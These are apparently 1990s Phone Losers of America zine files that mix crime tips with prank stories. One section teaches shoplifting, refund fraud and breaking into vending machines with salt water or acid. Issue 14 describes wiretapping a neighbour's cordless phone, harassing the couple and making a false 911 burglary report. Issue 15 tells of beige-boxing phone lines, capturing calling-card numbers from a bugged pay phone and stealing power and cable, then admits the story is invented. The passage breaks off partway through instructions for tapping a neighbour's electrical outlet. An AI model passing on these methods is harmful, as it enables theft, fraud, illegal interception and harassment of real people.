What can I say? It's shoplifting, we've all done it. You can do it either for the free merchandise or for the money. If you shoplift a $20 shirt you can bring it back later and get a $20 cash refund. Usually they want a driver's license and sometimes (although it's rare) they'll only give you a store credit slip.

Actual shoplifting isn't always neccessary, though. In a busy store you can take something off the shelf and bring it directly to the customer service desk for your refund. Here's a few tips for idiot shoplifters:

Right before you shove the item in your purse or jacket, look EVERYWHERE for cameras and employees. Remember that if you can see them, they will usually see you. It's better for them to see you looking around suspiciously than for them to see you steal something because you didn't look around.

Steal things that they wouldn't expect you to steal. If you bother to notice, the cameras are mostly located over the front cash registers, over the electronics (Never steal from electronics!), jewlry and make-up because those are the things people are always taking. Take things like men's clothing, bed sheets, curtians, bathroom supplies, tools, anything that doesn't have a camera hovering above your head.

Use the buddy system! Let's say you want to steal a bed sheet that's $35.00 but there's a camera over you WATCHING. Have your friend hold up a blanket or towel, pretending to admire it or show it to you while hiding you from the camera's view. While the blanket is up, steal the sheet.

Due to all of the refund fraud (I actually know a couple of female that literally made a living off of K-Mart fraud), a lot of stores won't give you cash anymore if the refund is over ten bucks and you don't have a reciept. Instead, they'll mail you a check or a money order for the amount of the refund which is just as good as cash, you just have to wait a couple weeks to get it. K-Mart just started doing this a few months ago.

Vending Machines:

You can trick a Pepsi machine into think that you're putting in dollar after dollar so you'll get every soda in the machine. Use a squirt bottle (like a Windex bottle or something similar) and fill it about 2/3 with water. The other third should be filled with salt. Find a secluded Pepsi or Coke machine and squirt the entire bottle into the dollar bill slot.

After a certian amount of salt water is poured in there, you'll be able to  push the buttons to get sodas one after the other until the machine is totally emptied out. I usually take everything except for the diet soda. Diet soda sucks. I've only done this now three times but it's worked every time. Try not to leave any finger prints just in case they decide to investigate.

It seems to me that if you're putting in a constant flow of dollar bills into the machine for a 55 cent soda you'd get 45 cents back for every one you stole but for some reason you don't get any money, just the soda. Who am I to try and understand the physics of soda machines.  This would probably work on snack machines with dollar bill slots too, although I've never tried. It's hard to find a secluded snack machine. Who's knows, maybe even dollar bill changer machines will work.

Anyways, you can either save these sodas, give them to friends or sell them to the tourists on a hot summer day. Imagine sitting next to a soda machine in front of K-Mart that sells sodas for .55 cents each. You could sit there with an ice chest full of them and sell them at .40 cents each or something. A few hours of that could probably get you a hefty profit, not to mention a short-term jail sentence.

I was told by a friend that you can take sulferic acid and pour it into the coin slot on a soda machine using a piece of paper to funnel it in. I've never tried this or seen it done, but it could work. (Wouldn't acid eat through the paper, though?) Chlorox or some other kind of bleach can be used as a sub for sulfuric acid.

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-851-8317 Sonic Youth Systems

512-883-7543 PLA WHQ Texas Line

618-797-2339 PLA WHQ Illinois Line

And PLEASE Don't Pay For Your Fone Calls!

Issue #014

The Story Of Some Poor, Unfortunate Guy Who Bought A Cordless Phone

Written On January 15, 1995 - Last Revision on January 15, 1995

If you've read PLA010.TXT on scanner frequencies, you probably noticed that little list of cordless phone frequencies. The following is the chain of events that happened a few days ago when I was bored and scanning the local cordless phone channels. All of this happened in beautiful, smelly Alton, Illinois, home of nothing really all that great. I'm just up here for a week, visiting my parents. (And you guys thought I'd never come back.)

First of all, let me give you an idea of who the victim was (or is). His name is Dean Allsman but his good buddies call him Dino. It turns out that Dino lives in a one story house across the alley from me and I have a clear view of the back of his house and yard from my window. He lives with his wife, Shana, who he likes to be a total dickhead to. He sounds about 24 years old.

From listening to Dino for about two minutes I sort of got this mental picture of him and when I later got him to go out in his yard and looked at him through a pair of binoculars, I found out that I was right. Dino is the type of guy who wears scuzzy torn up clothing, smokes about two packs of Marlboros a day, has greasy, stringy hair down to his shoulders, always wears a dirty cap and says, "Fuck", "Shit" and "Goddammit!" more than most people. Dino is also not that bright and likes to go fishin' alot. He's pretty slow and it was very easy to piss him off. He liked to play a big, tough guy on the phone with us, but then we'd hear him call his wife at work and he'd sound like he was about ready to cry.

So here's what happened. I was sitting here watching T.V. and scanning phones. Suddenly I hear a dialtone and someone pushing touch tones. The signal is coming in really clear which means that he's close by. The phone rings and a girl answers, "xxxxx, May I help you?" I pick up my phone, dial 411 and ask for the phone number to xxxxx and write it down. Meanwhile, Dino is yelling at his wife something about not having anything to eat in the house, something is wrong with the T.V., he makes a "joke" about beating her and continues to bitch. So I call the business that his wife, Shana, is working at. When she answers, I say, "Better be careful, I think he's lying to you. He might actually beat you tonight."

She clicks over, "Dino, the weirdest thing just happened to me. Some guy..." And she explains what happened. They try to figure it out and finally decide that some guy they know named Matt is responsible. So I decide to clear things up for them by calling back and saying, "No, I'm not Matt" to Shana. She clicks back over.

Shana: "Dino, hang up, somebody's listening to our conversation! It was that guy and he said that he's not Matt."

Dino: "Huh?"

Shana: Explains a little more slowly what happened.

Dino: "Hey, if there's some dickhead out there listening, why don't you call ME, you chickenshit bastard! 258-xxxx, you little fuck."

I decide this is going to be fun so I call up my faithful PLA co-worker Zak, who has the luxury of three-way calling and explain the situation to him. So we call up Dino and give him a piece of our minds.

Dino: "Listen here, you little pricks, I'll give you $100 dollars if you come over here and show your faces instead of hiding behind your fuckin' phones."

Zak: "Would that be cash or food stamps, sir?"

Dino: "Hey, fuck you! Come on over here. Show your face!"

RBCP: "If we come over will you give us a beer?"

Dino: "Yeah, I'll give you a beer. Come over and we can all drink a beer."

RBCP: "But then you'll kick my ass."

Dino: "No, I won't kick your ass. Just come on over here and show your face."

Zak: "Do you want my name?"

Dino: "Sure, what's your name?"

Zak: "It's Chris Tomkinson."

Dino: "Bullshit! You're lyin', you little jack-off."

So it goes on and on like this for quite awhile and gets boring so we hang up. Suddenly I have one of my psychic flashes. I see several teen-age boys breaking into Dino's house. I must help our beloved police force and possibly save Dino's life so I get on my cellular phone and dial 911.

911: "911, What's you're emergency?"

RBCP: "Yeah, I'm over here parked on the side of the street in my car and I'm watching these kids break into some guy's house here. They're all going in the basement window and they've got flashlights.

911: "Alright, what address is being broken into?"

RBCP: I give him Dino's address.

He asks me for some more information and we hang up. I turn off all my lights and go to the window. Luckily, Dino lives just down the street from the Wood River Donut Shop so the police get there in a matter of minutes. Three cars show up and start shinning lights all over Dino's house. While all this is happening, Dino is on his phone talking to one of his drinkin' buddies. I hear him on the scanner across the room, "Fuck! Hold on a minute!" Dino goes out and talks to the police and they all leave.

After awhile things get a little boring again. Dino calls up his wife and tells her all that's happened. He calls up a friend and tells him the same  story which is his own distorted version of the truth. He wants to borrow his friend's Caller I.D. box so he can find out who we are and his friend has to explain that it doesn't work like that and Dino would have to call the phone company and sign up for the service. Even if he did that, Zak has this unconscience habit of dialing *67 before he dials anything, making Caller I.D. useless to anyone he calls. And I don't think Dino could figure out *57 at all.

I whip out my cellular phone again and make a collect call to Dino. The cell operator calls Dino and says, "This is Ameritech Cellular operator. I have a collect call from a Roy Gerbil. The charges are approximately $1.95 a minute. Will you accept the charges?" This upsets Dino a little bit for some reason and he refuses the charges. Go figure.

Zak pulls out his Ameritech phone book and picks a name at random, which is a Mr. Vaughn and gives him a call. Keep in mind that it's now about 12:30 at night.

Vaughn: "Hello?"

RBCP: "Hi, this is the Ameritech Messaging Service. I have an emergency message for you. Do you have a pen or pencil?"

Vaughn: "Uh, hold on a second. Okay, go ahead."

RBCP: "Is it a pen or is it a pencil you have?"

Vaughn: "What?"

RBCP: "Never mind, the message is that you need to call this number..." I give him Dino's phone number. "And that it's an emergency and you need to call him as soon as possible."

Vaughn: "Okay. Thank you."

RBCP: "Thank you for using Ameritech."

A second later I hear Dino's cordless phone ringing on my scanner. He sounds a little pissed off when he answers.

Dino: "What!?"

Vaughn: "Uhhhh, someone just called here saying that I need to call you."

It drags on and on. Dino asks Mr. Vaughn all kinds of stupid questions and explains the entire situation to him in detail. It's obvious that Mr. Vaughn just wants to go back to sleep.

Dino: "Do you have a cordless phone?"

Vaughn: "No."

Dino: "Do you have Caller I.D.?"

Vaughn: "No."

Dino: "Okay. Do you have a cellular phone?"

Vaughn: "No. Whoever called me was some guy from Ameritech. It wasn't a kid."

Dino: "Did he say anything about Roy?"

Vaughn: "Uh..no, he said he was from Ameritech Message Service and he had a message for me."

Dino: "You live here in East Alton?"

Vaughn: "No, I'm in Wood River. I don't know where they got my number."

Dino: "Well, my number's in the phone book. They call me and all they can do is sit there and play little games with me. And I told 'em, hey, come down here and I'll give you a hundred dollars to see your face. I just wanna see who the hell you are. They say that they live here and his name is Chris something but I don't even know if that's true or not."

We repeat this trick several times. I introduce myself as Ameritech, Illinois Relay Service, the Ameritech Illinois Goo Goo Relay Company and several other random companies. We give them all Dino's number and each time Dino keeps them on the phone asking them all kinds of questions. One question he always asks is if they have Caller I.D. So Zak calls Dino and I talk to him.

Dino: Sounds a little worn out. "Hello?"

RBCP: "Uh, yeah, I just got a call from Illinois Relay Service and I'm supposed to call you or something?"

Dino: "Okay, let me explain to you what's going on. There's these kids..." He gives me the whole story and finally asks me the question I was waiting for. "Do you have Caller I.D.?"

RBCP: "Yeah."

Dino: "Could you look and see who called you?"

RBCP: "Okay, hold on, let me get up......Alright, you want the number that's on here?"

Dino: "Yeah!"

RBCP: "It's 931-4402."

He thanks me and hangs up. He immediately calls the number I gave him. Little does he know that it's the number of some kid that we like to pick on. The kid's dad answers the phone. Dino says, "I got your number, you mother fucker!" And the kid's dad just sits there not knowing what to think. Finally, he hangs up on Dino. Then we hear Dino SINGING! "Ha ha you little pricks, I know who you aaaare!" So Zak calls him.

Dino: "Hello?"

Zak: "I don't think you're gonna get a record contract anytime soon with that voice."

Dino: "Hey, wait a minute! Hey, don't have fucking people calling my fucking house. You little fucking jack off. What's your number, man?"

Zak: "258-0357" (Chris Tomkinson's number)

Dino: "Are you sure?"

Zak: "No, I'm telling you a big fucking joke."

Dino: "Well, I imagine you would because that's all you've been doing all fucking night long is playing a fucking joke. Let me tell you something else. Every fucking call you make at my wife's fucking work number is being recorded, but I know you don't care."

Zak: "Will your wife sell me the tapes because I've said some pretty funny things tonight."

Dino: "Hey, lemme tell you something, boy, you fuck with my wife, you're fucking with your own life."

Zak: "I already have. She's not that good."

Dino: "Oh, yeah, right."

Zak: "And she gave me herpes."

Dino: "Huh?"

Zak: "I said she gave me herpes."

Dino: "Oh, that's good."

Zak: "Well, I gotta go now."

Dino: "Hey, wait a minute, man, let me get a pen"

Zak: "Why?"

Dino: "Why? Because I wanna call you. What's your name?"

Zak: "I'm G Homey Roy. Who you down with?"

Dino: "Fuck you!"

Zak: "Okay. Bye."

Dino: "Later on, dickhead!"

A few more people call Dino and tell him the Goo Goo Relay Service left his number for them. We start to get bored again so we call Dino.

RBCP: "Hi, Dino."

Dino: "What the fuck do you WANT?"

RBCP: "I just wanted you to know that I'm monitoring all of your phone calls."

Dino: "Yeah, I know you are, dickface."

RBCP: "You know the grey box on the side of your house that says Telephone Network Interface on it? Well, I've plugged my phone into that and I have complete control over your lines. Resistance is useless."

Dino: "Yeah, you're full of shit you little fucker! Why don't you tell me where you are?"

RBCP: "Okay, we're parked across the street by the church in a blue van. There's a satellite beamed at your house so we hear everything said even when you're not on the phone."

Dino: "Bullshit, that's the churches van. It's always parked there."

RBCP: "Of course it's always parked there. We always watch you. There's a camera over there on your bookshelf."

Dino: "Listen, you little dickweeds. I'm gonna find out who you are."

Zak:  "Hey, Dino, exactly what year of grade school did you drop out of?"

We hang up and he calls his wife at work. As tough as he was acting with us on the phone, he sounds like he's about ready to cry when talking to his wife.

Shana: "What's wrong with you?"

Dino: "Man, these guys have got something going. They got a big setup somewhere and they said there's some kind of grey box on the outside of the house. I'm walking around the house right now looking for it.

I jump up off the couch and run to the window. I look but I must have just missed him. A second later he tells his wife that he's back inside and can't find any grey box.

Dino: "They say they've tapped our phones and they're watching our house."

Shana: "Dino, they're probably lying and they're just listening to the cordless phone."

I get on my cellular phone again and place a call to California. I tell the roaming operator that I want to bill it to my home phone. The roaming operator asks me for my home phone number and I give him Dino's number.

CELL: "Okay, I'm going to have to verify charges. Could I have your name?"

RBCP: "Yeah, my name is Shana."

CELL: "Shana?"

RBCP: "Are you making fun of me?"

CELL: "Uh, no. Hold on, please."

Dino: "Hello?"

CELL: "Hi, this is Ameritech Roaming operator #1753. I have a Shana placing a call to California and wants to bill the charges to you. The charges are approximately $1.95 a minute. Will you accept the charges?"

Dino: "Is this really the cellular operator?"

CELL: "Yeah..."

Dino: "Well, I'm talking to Shana on the other line. Is there any way you can trace that call?"

CELL: "No, I can't trace the call but I can put a block on the phone so they won't be able to bother you any more."

Dino: "Okay, could you do that?"

The cellular operator makes arangements to have all attempts to bill calls to his house denied. This means that anyone wanting to make a legitamate collect or third-party call to Dino from a cellular phone won't be able to. Of course,  that's just on the cellular phone, but he thinks this means that there's absolutely no way that we'll be able to call him on any phone ever again.

Dino clicks over and starts talking to Shana again. He explains to her that everything's been taken care of and we'll never be able to call them again.  While he's explaining this, we call him and let him know that he's completely wrong.

After awhile, they hang up and Dino dials zero. He asks the operator to connect him with local police. Then he tells the policeman the whole story and the policeman treats him like a total idiot and tells him there's nothing they can do and he should try calling the phone company. So he hangs up and dials 1-800-244-4444. Lucky for him, the phone company's billing office here is open 24 hours a day.

"You have reached the Ameritech Customer Billing Office for residential accounts. All representatives are currently busy. For faster service, please call us Tuesday through Friday during the daytime. Your call will be answered by the next available representative. Your approximate wait time is greater than ten minutes..."

Poor guy sits on the phone listening to Ameritech hold music for fifteen minutes. During this time we keep trying to call him but he won't answer. Finally he gets through and tells the Ameritech representative his whole story and the Ameritech lady says she can change his phone number or get him a  Caller I.D. box. It would cost $80 to have his number changed. Then the billing operator claims that there is no such thing as Cellular Operator. This just shows us how much phone company employees really know.

So he hangs up with her and starts thumbing through the yellow pages. He calls up about every cellular network number in the book only to find that they all seem to be closed at 1:30 in the morning. Then he happens upon the number to the Illinois Relay Service and calls them. He explains his life story to THIS operator and she doesn't know what the hell he's talking about. "Sir, this is the Illinois Relay Service for deaf people. I have no idea what you're saying."

Later That Night...

A few hours have passed and I've hung up with Zak. Dino calls his wife and complains to her for awhile. Then he calls back the Ameritech billing office, gets put on hold for another ten minutes and arranges to have his phone number changed to an unlisted number. Fortunately for him, they decide that they won't charge him $80 to do this, just $1.85 a month to keep it unlisted. The operator gives Dino his new unlisted number and I write it down.

Around 4:15 a.m. he's talking to his wife at work and they're still trying to  figure out everything that's happened and who was responsible.

Dino: "Well, I'm wondering about this one house across the alley behind the church. The whole time all this was happening the light upstairs was on and now they're not calling anymore and his light is turned off."

Shana:"Which house is it exactly?"

Dino: "There's the parking lot, a yellow house and then a blue house and and that's the fucking one I'm talking about." (I turn on my light)  "There his light just went on again!"

Shana:"I know who lives there. It's RedBoxChiliPepper!" (Actually, she says my real name.) "I went to grade school with him. He knows all about computers and phones and stuff. He was like a total weird-o in grade school. I bet it's him."

Meanwhile, I'm thinking, "Shit, shit, shit, shit, shit, shit, shit, shit! I've been found out!" I suddenly remember why Shana's voice sounds so familiar. I know exactly who she is. She used to date my brother in Junior High. So I dig up my old flip file to look her up and get her old phone number, address, parents' names, sister's name, etc. (I WAS a weird-o, you see.) I have no idea who Dino is but I'm starting to think that maybe it's a good idea to cut my vacation short and go back to New Mexico. Meanwhile, Dino is looking up my picture in Shana's Junior high school yearbook.

Dino: "I can't find it anywhere."

Shana:"It's in the Juniors section."

Dino: "There isn't a Junior section. It goes Senior, Sophomore, Freshman. I think they forgot to put Junior in here." (I laugh.)

Shana:"Nooo...Look right after the Senior section, it should be there."

This goes on and on. After ten minutes he finally gets to the Junior section. Then he has the task of figuring out how to spell my name which really isn't that difficult. It takes him maybe fifteen minutes but he finally gets it. Dino's comment when he finds it is, "Yeeeah, he LOOKS like someone that would do something like this." Now, how can you tell, just by looking at a picture that I'd be the type of person who'd do something like this?

Shana happens to work at a place that my parents have done business at. She pulls up their names on her computer and gives Dino my phone number. They talk a little while longer and hang up. I know Dino is about to call me so I dial a blank phone company test number so the phone doesn't ring downstairs and wake up my parents. A second later I answer the call waiting. I answer in a deep, sleepy voice.

RBCP: "Hello?"

Dino: "Yes, could I speak to a RedBoxChiliPepper?"

RBCP: (Sounding annoyed.) "He doesn't live here anymore."

Dino: "Well, I think he's been calling my house tonight."

RBCP: "Do you have any idea what time it is?"

Dino: (Starts explaining the whole thing to me...)

RBCP: "Well, RBCP hasn't lived here for about two years now. If he's calling you he's calling you from Texas. I don't know what you're talking about."

Dino: "Okay, thank you."

We hang up and Dino calls back his wife. Lucky for me, he assures his wife that he talked to my dad and it wasn't me after all.

Dino: "Yeah, they said he's going to college in Texas." (College? What?)

Shana:"Did it sound like him?"

Dino: "No, but it could have been a friend of his or something."

Shana:"All I know is that he was really strange in grade school and junior high. He had a cellular phone back then and all this equipment and he knew how to take a phone apart and tap it..."

Shana goes on and on about all this stuff that I know how to do. I don't know where she was comming up with all of it but most of it was either exaggerated or not true at all. I remember in Junior High I got caught with my cordless phone at lunch when me and a friend were making free calls off of some guy's cordless line near the school. Sheesh, that was 1986. Not even yuppies had cellular phones back then. The being able to take a phone apart is accurate but not exactly something I went around doing all the time. As for me being some kind of weird-o, that's right on the money.

The Next Day...

I was woke up the next morning at 10:00 a.m. by the sound of Shana dialing a number on the cordless phone. I had left my scanner on all night so I could listen to things as they developed. I also left my speaker phone on the blank test line all night in case Dino decided to call back, which he never did. I reached over and shut off my speaker phone and listened to Shana.

Shana called her parents, told them about everything and gave her mom the new phone number. She called her sister and did the same. I can't figure out WHY they would keep using the cordless phone since it's obvious that that's how we're listening in. Anyway, I heard Shana tell the story to several people that morning and each time it got wilder and wilder each time. Both her and her husband seem to have a gift for making up stuff to make it sound more interesting.

So that's about it. Nothing much more happened. Although I have their new phone number and everything we don't plan on calling him back. Besides, I'm leaving town in a couple days and it would be boring if we couldn't listen to their reactions on the scanner. I hope you enjoyed reading about this  experience as much as we did creating it. Maybe we'll eventually publish all of Dino & Shana's information so you can call and ask them about it. Most of this file was translated from the tapes (I recorded most of what happened.) and the rest of it was done from memory. Any comments or questions about this whole thing are welcome.

Contact The Phone Losers Of America Nearest You!

512-370-4680 PLA Voice Mailbox

512-851-8317 Sonic Youth Systems

512-883-7543 PLA WHQ Texas Line

618-797-2339 PLA WHQ Illinois Line

And PLEASE Don't Pay For Your Fone Calls!

Issue #015

Beige Boxing To Take Over Your City

Written On January 25, 1995 - Last Revision on January 29, 1995

Here's what happened when I took beige boxing just a little too far while living in Celina, Ohio (population 8000). I started out like most people, just finding a telco box or a neighbor's box on the side of their house, plugging in my phone and dialing away at the 900 numbers and harrassing operators. But that got really old after awhile. So I set up sort of a permanent beige box on my next door neighbor's line. I hooked a line into their box, ran it under the siding to make it invisible, down next to a basement window and into the ground. From there I dug a trench in the ground about 3 inches deep from their box to my box and hooked the wire into my box, to the yellow and black wires.

Now I could use their line to call bbses around the world for free! I decided not to make any direct long distance calls so they wouldn't start investigating and find the extra line going into the ground. So I only third-number billed and used calling cards from their line and tried as best as I could not to annoy the operators too bad.

So you see, it started out sort of innocently, but then I began to eavesdrop on a lot of my neighbors' conversations. After awhile the conversations got sort of boring so I hooked up my two-line phone to both of the lines and started conferencing total strangers onto their line while they were in the middle of a conversation, which caused quite a bit of confusion, especially when I hooked them up to overseas people. Then to make things worse, I'd pop in and say in a deep voice, "Please deposit 25 cents!"

Pretty soon, my neighbors got to be too boring for me. I mean, they reacted to my pranks on their line the exact same way every time and their conversations without me were totally boring, hardly worth listening to. So I went to my OTHER next door neighbor's house one night to check out the possibilities on their line and ended up doing the same thing to their line only running the line in my basement window and upstairs to the spare bedroom where the other two lines were hooked up.

Since I only had one conference phone that didn't work very well to begin with, I decided to build a simple switchboard on top of my desk. It ended up being a piece of sheet metal with five 2-position switches on it. Switch 1 was my own phone line, switch 2 was the first neighbor's line and switch 3 was the other neighbor's line. Also, each switch had a light above it to indicate In-Use. Normally, the switches would be in the "off" position. If I wanted to use a line, I flipped it on and hit the speakerphone button on my desk phone or used my official Bell operator headset. (Actually, one of those cheap headsets that you buy from Radio Shack but hey, I drew a Bell symbol on it!)

So now with their two lines and my own three-way calling line, I had a total of four phone lines to play with. The new neighbor's calls proved to be much more interesting that the others. They had a son and teen-aged daughter who liked to talk on the phone alot. And when their conversations DID get a little boring, I helped them out by patching my Sound Blaster card directly into my switchboard so I could add sound effects, movie clips and rude noises to their conversation. Lemme tell you, their reaction to this was fantasic. Each kid would blame it on the other and when I did it to either of the parents, they would yell at their kids to quit playing around on the phone.

Now I'm happy and have plenty of things to do with my spare time which I have a lot of. I'd been using various calling cards from both of their lines late at night to call bulletin boards for about a month and a half and still Telco Security hadn't called them up questioning them about anything. I thought maybe they were just trying to build a case against them and were holding out for more fraud. In any case, I decided to keep close tabs on their phone calls in case AT&T called them questioning anything so I'd have advance warning to sneak back over and disconnect their lines. To help with this I bought a few of those cool Radio Shack deals that automatically records all incomming and outgoing calls on your lines so I could keep up with their phone calls while I was at work.

Then something horrible happened. Most of my favorite phone companies around the United States figured out that they were being ripped off big time by people who order calling cards with personalized pin numbers for other people. This security flaw was my major source of calling cards and now they had set it up so if you wanted to do this you needed the victim's social security number. Getting their social security number isn't a super hard task but it sure was a pain in the ass to have to do that every time I wanted a new calling card. They were making things HARD for me. I only had about twenty cards left and my cards went dead pretty quick lately because of my extensive international calling. I could third-number bill everything but if you've ever tried to do that for a bbs call you know that it's a pain in the ass to get it right.

That's when I went over to the window and looked across the street. I saw a little shop with a pay phone next to it and a guy in a suit talking on the pay phone. Since car phones aren't a big thing yet in this little town, the few yuppies that there are usually stop by this phone to make their important phone calls. And of course they prefer credit cards to pocket change. A plan started to form in my head. Of course I couldn't run a phone wire underneath the street because I just might be noticed using a jackhammer on the concrete. So...

That night at 3:00 a.m. I got on my cellular phone and dialed the direct line to the Celina police. I explained to them that I had just seen a few kids jump the fence to the boat yard and break into the office. I listened in on my scanner as the dispatcher sent all available units to the boat yard. (All two of them, eh?) I was ready when I heard that and I ran across the street to the pay phone. I had done this a million times before but usually it was in a secluded area and there wasn't such time pressure.

I pulled out my specially cut alan wrench and opened the bottom panel of the pay phone. I set the base unit of my cordless phone there in the bottom and clipped the wires into the pay phone line. Then I plugged the AC cord into the receptacle. (Most phones have these in the bottom panel to power the light on top of the phone.) I wrapped a garbage bag around the phone to protect it from water damage and the evil GTE linemen and put the panel back on. The whole thing took less than four minutes. Meanwhile, the brutal Celina police force are crawling around the boat yard with flashlights, looking underneath all the boats for these hardended criminal kids. They never found them, though.

I went back home and picked up my cordless handset. I turned it on and dialed the local Wal-Mart. A recording came on, telling me to deposit twenty-five cents. So I called a number a little further away. I called Mann's Chinese Theater in Hollywood, California and was asked to deposit $2.25. I tried red boxing the coins in but I think the reception was screwing it up. I ended up going through a live operator who put the call through for me.

I decided I'd better get this fixed. I didn't need GTE dropping a trouble card on my pay phone and discovering my cordless base unit in there. So I took the handset apart and hard-wired it into my switchboard. I replaced the rechargeable batteries with an AC line and built a red box on the switchboard that was hooked diectly into the cordless phone's microphone. Then I boosted the antenna by hooking it to the old T.V. antenna on top of my house. This was getting to be pretty fun!

The next morning I had the alarm set for 10:00 a.m. so I could sit at my window and wait for yuppies to use my pay phone. My first customer came at 10:18, a little kid who used a copper slug. Damn him, I should call his parents for this. Anyway, I came on and impersonated the operator, telling him he was in big trouble and if he didn't put in a real fifty cents immediately I would come over there and rip that St. Louis Cardinals hat right off his head and hit him with it. He hung up, looked nervously around and quickly disappeared into the alley.

At 10:57, while I was in the middle of my Frosted Flakes breakfast, the neighborhood mailman stopped by to use the phone. I looked through my binoculars and saw him punch a "zero" first. I was so happy, milk came out of my nose. When he tried to enter his calling card number, I interferred by hitting some extra numbers. He tried it again and I messed him up again. Then I heard the AT&T recording, "Please hold for operator assisstance." An operator came on and asked for his card number. He read it off as I wrote it down. I was so grateful to him that I didn't even harrass him during his call.

I got three calling card numbers that day. The next day I got a little more creative. I got on the pay phone line and dialed a phone company number that just sat there, blank. When a guy picked up the phone, I played a recording of a dial tone into the phone. When he began dialing I stopped the recording and when he finished dialing I played the recording, "AT&T! Please enter your  calling card number now..." He began to enter his calling card and I came on and talked to him in a really annoying nasal voice.

ME: "AT&T, What seems to be the problem?"

HIM:"I'm just using my calling card."

ME: "Okay, what's your calling card number?"

HIM: Gives me his number.

ME: "That card's not going through here. Do you have another card?"

HIM:"Uh...yeah, I have my AT&T calling card."

ME: "Okay, let's try that one."

HIM: Gives me his number.

ME: "Okay...Yep, that one's okay. Here's your call and fuck you for using AT&T"

I had no idea what number he had dialed in the first place so I got an old recording of Tina, the fone sex operator and put it on the line. "Hi, this is Tina...Are you ready for a hot time?..." The poor guy tried to talk to her and finally realized that it was a recording and hung up. I watched him walk down the street and use the phone booth a few blocks away.

A few days later I bought one of those touch tone decoders. It had a LCD display that showed me exactly what digits were being dialed on any line I hooked it up to. I hooked this into my switchboard and not only was it easier for me to get calling cards, I could see exactly who my neighbors were calling. I started keeping files on the neighbors and who they called. Oh, did I mention that I have no life. You may have figured that out already.

Two months later not much had changed. I still had the same setup and was working on expanding it. I added 10 more switches to it for extra lines and started wandering around my neighbors' yards late at night, looking for new possibilities. I also hooked an old bulky cellular phone into my setup so I could connect neighbors to the cellular roaming network and I added another phone so I could listen in on more that one line at a time without them hearing each other.

The little green telco box on our block is very well secluded. It sits near some bushes in the alley behind my house, about three houses over. The only problem with it is that it's sitting right underneath a bright street light. I eventually took care of the street light with my pump pellet rifle. It took an hours worth of patience to finally hit it just right, but I finally turned it off. That being accomplished, I went to the hardware store and bought a cable. This nifty little cable had fifty separate wires inside of it, enough to hook twenty-five phones to.

When dark finally came, I grabbed my back pack and hiked over to the telco box. I opened it and started hooking my phone, dialing 1-800-MY-ANI-IS on every set of terminals in there and taking notes of what was what. I was going to go for choice and pick my least favorite neighbors but decided that would take forever so I hooked up to the first fifty terminals (on the backside, so telco wouldn't notice) and put the box back together. I hoped I hadn't hooked up one of my neighbor's that I already had hooked to my house 'cause it'd suck to waste a whole line like that.

Now the hard part. I dug a trench a few inches deep from the telco box, down the alley, into my own back yard, then through the yard and into that little hole underneath my basement window. It took me over three hours to complete all this but when I was finished there wasn't a trace that anything strange was going on. I had to cut a hole in the floor to get the cable upstairs to my switchboard and found myself hoping that my land lord wouldn't drop by anytime soon. He gets testy when I drill holes in his property. So I got that far and went to bed. I couldn't really do much more 'cause I needed to go to Radio Shack and buy some more switches and a larger piece of sheet metal.

Another month passes. I've dicovered that I've got access to the phones in random houses as far away as two blocks AND another pay phone. I've hooked about every sound device I own into the switchboard, including my computer's Sound Blaster, tape deck, CD player, voice changer and echo machine. I have the ability to hook twenty-eight lines up to a single phone, creating a monster party line of confused people and my calling card list has reached almost 100 numbers. That's the most I've ever had all at once.

Then on Friday the power bill arrived. It was an outrageous amount, probably because I have a habit of turning on heaters while opening windows, leaving lights on all day, my computer, etc. It didn't seem fair that I should have to pay so much to them, especially since I stopped going to work as often so I could sit at home and play operator. My neighbors have a receptacle on their deck that they use to plug in the bug lamp and sometimes a radio. I figure if they're not using it all that much, I'll take advantage of that.

That night I dig down about a foot where the plug is and cut open a section of the plastic pipe to expose their wires. Carefully using rubber gloves and pliers, I managed to splice my orange 100 foot extension cord into their line. I ran that under ground to my basement window and start plugging my large appliances in. The refrigerator, space heater, microwave and electric oven. So I walk over to their power meter and peer in to the glass bubble and notice the disk is spinning quite rapidly. Oh, well. They own a pool and deck.  Obviously they can afford a little more electricity.

I figure that if they're rich, they can probably afford cable T.V. and I notice that their cable line is conveinently located next to their phone box. So the day after that I get free cable. A few weeks later, free cable alone just isn't enough for me. I want to be able to control what my neighbors watch. So I hook up sort of a loop so that their cable line is comming to my house before it gets to them. Then I build this little switchboard next to my phone switchboard that consists of a few T.V. monitors, a VCR, a video camera and some video mixing devices.

By the time I'm through hooking it all up, I have the power to change their channels, make them watch my home video collection or wipe their T.V. show off the air with a variety of 37 different wiping techniques! I also have a monitor set up showing me exactly what they're seeing in their house. By now you're probably wondering what these neighbors did to me to make me want to be so mean spirited to them. Well, nothing. They just lived at the wrong house at the wrong time.

I tune in to their phone and T.V. The old lady is talking to Gertrude while watching The Price Is Right and her husband is out in back, trying to figure out the problems they've been having with their bug zapper light. I leave her T.V. picture on but mute the sound so I can talk over Bob Barker. Using my voice changer, I make the following announcement:

"Greetings, Earthling Mildred. I am alien visitor Q359-Kriegsmitzelpapshmeer. I come in peace. Take me to your leader, Bob Barker or I will disentigrate your house. Oh, and I also want a Metallica box CD set and I want to know what a vaccum cleaner is..."

I left them alone completely until Mildred got back from the hospital. While they were gone, I bought some heavy duty wire and tapped in to their circuit breaker box, giving me complete control. I also ran their water line through my house so I could leech and control that. When they got home Mildred got in the shower and Herb sat down to watch Tammy Faye Bakker (whatever) on T.V. I walked over to my "Department of Water" switchboard and turned a valve. This valve released the five gallon tank of washing machine Blue (dye) into their water lines. Then I popped in the porno video "Edward Penishands" and sent that into their living room T.V. set. Herb was so engrossed in his show that he didn't even hear Mildred screaming something about alien invasions.

A few months later after spending the day mowing my neighbor's lawn while they were gone (I mowed the words "WE COME IN PEACE"), it's 2:30 in the morning and I grab my backpack and sprint over the the Celina Power & Light building. I begin to dig a trench from their building to my basement window...

I think I've been using a few too many illegal substances or something.  Actually, I made this whole thing up. I was bored, okay? Anyone that believed any of it even for a second needs to have their head checked out. So the story is probably full of holes although I really did live in Celina, Ohio for a few months and ran up quite a hefty phone bill. It was my own bill, though. I really hope this file is an inspiration to all and hope that the Celina Police will stop looking for those kids in the boat yard after they read this.

Free Power, Cable & Phone:

Now the instructional part of this file. If you live in an apartment, doing all of this is super easy because you don't have to run around the neighborhood digging holes and the chances of getting caught are practically nothing.

Power:

Find a wall in your apartment that is also the wall of the person living next door. About a foot from the floor cut a small hole in the wall. Using a flashlight and maybe a mirror, look around in there to see if you can find the neighbor's recepticle. If you can't, cut a hole a couple feet over and try again.

